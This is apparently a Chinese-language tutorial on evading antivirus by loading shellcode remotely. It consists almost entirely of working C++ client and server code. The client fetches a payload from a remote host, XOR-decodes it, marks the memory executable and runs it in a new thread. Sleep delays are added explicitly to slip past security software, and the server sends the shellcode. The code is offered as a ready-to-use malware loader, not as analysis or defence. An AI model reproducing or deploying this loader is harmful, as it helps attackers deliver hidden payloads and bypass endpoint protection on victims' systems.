实现：远程加载shellcode实现分离免杀

前言：服务端这样实现不太方便，大家也可以直接用python来实现服务端，或者自己可以直接在客户端中实现类似http请求获得内容，再进行执行等。。。

客户端：

#include 
#include 
#include 
#pragma comment(lib, "ws2_32.lib")  //添加ws2_32动态库
#pragma warning(disable:4996) //忽略旧函数使用的警告

using namespace std;

int main(int argc, char *argv[])
{
    const int BUF_SIZE = 1024;

    WSADATA         wsd; //WSADATA变量
    SOCKET          sHost; // 服务器套接字socket
    SOCKADDR_IN     servAddr; //服务器地址
    char            buf[BUF_SIZE]; // 存放发送的数据缓冲区
    char            bufRecv[BUF_SIZE]; //接收收到的数据缓冲区
    DWORD           dwThreadId;
    HANDLE          hThread;
    DWORD           dwOldProtect;

    int retVal; // 返回值

    if (argc <= 2){
        cout << "USAGE: client.exe  " << endl;
        return -1;
    }

    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) //初始化套结字动态库
    {
        cout << "WSAStartup failed!" << endl;
        return -1;
    }

    sHost = socket(AF_INET, SOCK_STREAM, 0); //创建套接字 IPV4  可靠的，双向的类型服务提供商选择
    if (INVALID_SOCKET == sHost)
    {
        cout << "socket failed!" << endl;
        WSACleanup();
        return  -1;
    }

    //设置服务器的地址
    servAddr.sin_family = AF_INET; //指定IPV4
    servAddr.sin_addr.s_addr = inet_addr(argv[1]); // 指定服务器的地址
    servAddr.sin_port = htons((short)atoi(argv[2])); // 指定服务器的端口



    retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr)); // 套接字 sockaddr的指针，也就是地址 第三个参数为SOCKADDR_IN结构体的大小
    if (SOCKET_ERROR == retVal) //判断是否连接成功
    {
        cout << "connect failed!" << endl;
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    ZeroMemory(buf, BUF_SIZE); // buf指向的地址用0来填充
    strcpy(buf, "ok"); //给ok两个字节的字符串复制给buf区段

    retVal = send(sHost, buf, strlen(buf), 0); //send的返回值

    if (SOCKET_ERROR == retVal) //判断是否发送成功
    {
        cout << "send failed!" << endl;
        closesocket(sHost);
        WSACleanup();
        return -1;
    }
    cout << "Starting Download Payload" << endl;
    ZeroMemory(bufRecv, BUF_SIZE); // bufRevc指向的地址用0来填充
    Sleep(2000); //延迟两秒起到免杀绕过的效果
    cout << "Downloading." << endl;

    recv(sHost, bufRecv, BUF_SIZE, 0); //bufRecv缓冲区接收 服务端发送来的数据
    cout << "OK." << endl;

    Sleep(4000);
    closesocket(sHost);
    WSACleanup();
    cout << "Start Load Shellcode" << endl;
    for (int i = 0; i < sizeof(bufRecv); i++) { //采取倾旋的方式来进行异或解密
        //Sleep(50);
        _InterlockedXor8(bufRecv + i, 10);
    }

    //下面就是开辟内存存储shellcode 创建线程进行执行
    char * shellcode = (char *)VirtualAlloc(
        NULL,
        BUF_SIZE,
        MEM_COMMIT,
        PAGE_READWRITE // 只申请可读可写
    );

    CopyMemory(shellcode, bufRecv, BUF_SIZE);
    VirtualProtect(shellcode, BUF_SIZE, PAGE_EXECUTE, &dwOldProtect); // VirtualProtect改变它的属性 -> 可执行

    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
    );

    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

---

服务端：

#include 
#include 
#pragma comment(lib, "ws2_32.lib")

using namespace std;


int main(int argc, char* argv[])
{
    const int BUF_SIZE = 1024;
    WSADATA         wsd;            //WSADATA变量
    SOCKET          sServer;        //服务器套接字
    SOCKET          sClient;        //客户端套接字
    SOCKADDR_IN     addrServ;;      //服务器地址
    char            buf[BUF_SIZE];  //接收数据缓冲区
    char        sendBuf[] = "你的shellcode"; //或者可以是倾旋用的xor加密方式来进行加密
    int             retVal;         //返回值

    if (argc <= 1){
        cout << "USAGE: server.exe " << endl;
        return -1;
    }

    if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)//初始化套结字动态库
    {
        cout << "WSAStartup failed!" << endl;
        return 1;
    }

    //创建套接字
    sServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (INVALID_SOCKET == sServer)
    {
        cout << "Socket Failed!" << endl;
        WSACleanup();//释放套接字资源;
        return  -1;
    }

    //服务器套接字地址
    addrServ.sin_family = AF_INET;
    addrServ.sin_port = htons((short)atoi(argv[1]));;
    addrServ.sin_addr.s_addr = htonl(INADDR_ANY);

    //绑定套接字
    retVal = bind(sServer, (LPSOCKADDR)&addrServ, sizeof(SOCKADDR_IN));
    if (SOCKET_ERROR == retVal)
    {
        cout << "Bind Failed!" << endl;
        closesocket(sServer);   //关闭套接字
        WSACleanup();           //释放套接字资源;
        return -1;
    }

    //开始监听 
    retVal = listen(sServer, 1);
    if (SOCKET_ERROR == retVal)
    {
        cout << "Listen Failed!" << endl;
        closesocket(sServer);   //关闭套接字
        WSACleanup();           //释放套接字资源;
        return -1;
    }
    cout << "开始监听中...." << endl;

    //接受客户端请求
    sockaddr_in addrClient;
    int addrClientlen = sizeof(addrClient);
    sClient = accept(sServer, (sockaddr FAR*)&addrClient, &addrClientlen); // 生成对应当前客户端连接的套接字sClient
    if (INVALID_SOCKET == sClient)
    {
        cout << "Accept Failed!" << endl;
        closesocket(sServer);   //关闭套接字
        WSACleanup();           //释放套接字资源;
        return -1;
    }

    int flag = 1; //只接收一次
    while (flag)
    {
        //接收客户端数据
        ZeroMemory(buf, BUF_SIZE); // 填充为0 防止内存分配发生意外

        retVal = recv(sClient, buf, BUF_SIZE, 0); // 接收数据放在buf缓冲区

        if (SOCKET_ERROR == retVal) //判断是否接收错误
        {
            cout << "Recv Failed!" << endl;
            closesocket(sServer);   //关闭套接字
            closesocket(sClient);   //关闭套接字     
            WSACleanup();           //释放套接字资源;
            return -1;
        }
        if (buf[0] == '0')
            break;

        cout << "成功建立通信" << endl;
        send(sClient, sendBuf, sizeof(sendBuf), 0);
        cout << "向客户端发送shellcode..." << endl;
        cout << "发送shellcode成功!" << endl;
        flag = 0;

    }
    //退出
    closesocket(sServer);   //关闭套接字
    closesocket(sClient);   //关闭套接字
    WSACleanup();           //释放套接字资源;

    return 0;
}

参考文章：https://payloads.online/archivers/2019-11-10/2